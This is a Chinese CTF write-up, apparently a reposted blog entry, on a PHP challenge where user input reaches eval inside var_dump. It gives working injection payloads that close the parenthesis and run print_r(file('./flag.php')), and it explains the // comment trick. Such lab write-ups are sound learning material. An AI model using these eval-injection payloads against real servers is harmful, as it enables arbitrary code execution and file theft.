CTF/CTF练习平台-本地包含【eval函数闭合及代码段的理解】

               

原题内容:

地址:http://120.24.86.145:8003/


怎么说呢,难其实也不难,还是基本知识点掌握不足吧,写个wp记录下自己学习到的知识点

<?php     include "flag.php";     $a = @$_REQUEST['hello'];     eval( "var_dump($a);");     show_source(__FILE__); ?>

拿到代码,还是很简单就分析出hello这个post/get获取的参数值很重要($_REQUEST对get,post都能接受)

简单起见,当然选择get传值

其实根据最基本注入''引号闭合的思路,很容易就想到了利用括号,毕竟,eval中是执行的代码段

最基本的:

http://120.24.86.145:8003/index.php?hello= 1);print_r(2

上面的代码结合起来就是:

eval( "var_dump(1);print_r(2);"); 

结果也是很明显:


说明执行没问题,其实后面就简单了,打开文件就好

下面理一理两个失误点,



第一点,看了大佬们wp,对大佬们的答案,非常不理解:

hello=);print_r(file("./flag.php"));//

问了一个大佬才知道这里的诀窍

划重点,这里很关键,

eval函数中,“”内部为代码,//只在代码中起作用,相当于只注释了);


第二点,file_get_contents与file及var_dump,print_r和echo(划重点,后面三个的区别有待解决


这个的区别我在网上没有找到详细的解释,不过,我本地做了个测试,简单说明下问题吧,求大佬解答





file测试没问题,接下来看file_get_contents,先不说明,看几张图


这个图的测试结果,显示空白,于是我进行了接下来的测试






这我就很好奇了,接下来我删除该字符串又测试了echo,依旧是空白

紧接着我测试了var_dump()


没错,可以显示


按照php手册的解释,file_get_contents读取文件为字符串,var_dump证明了这一点,可是print_r和echo为啥不能输出?

待解决,以后补上



           

再分享一下我老师大神的人工智能教程吧。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到我们人工智能的队伍中来!https://blog.csdn.net/jiangjunshow

猜你喜欢

转载自blog.csdn.net/qq_43679507/article/details/86229398
ctf